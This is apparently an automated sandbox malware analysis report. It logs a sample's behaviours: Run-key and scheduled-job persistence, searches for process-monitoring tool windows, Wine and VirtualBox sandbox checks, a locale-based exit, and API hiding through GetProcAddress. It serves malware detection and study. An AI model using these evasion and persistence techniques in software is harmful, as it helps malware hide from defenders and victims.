Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7bfd2dfdc1.exe
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe File created: C:\Windows\Tasks\explorti.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 659e6df34d.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 659e6df34d.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7bfd2dfdc1.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7bfd2dfdc1.exe
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_004195E0
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking locale)
Source: C:\Users\user\Desktop\file.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
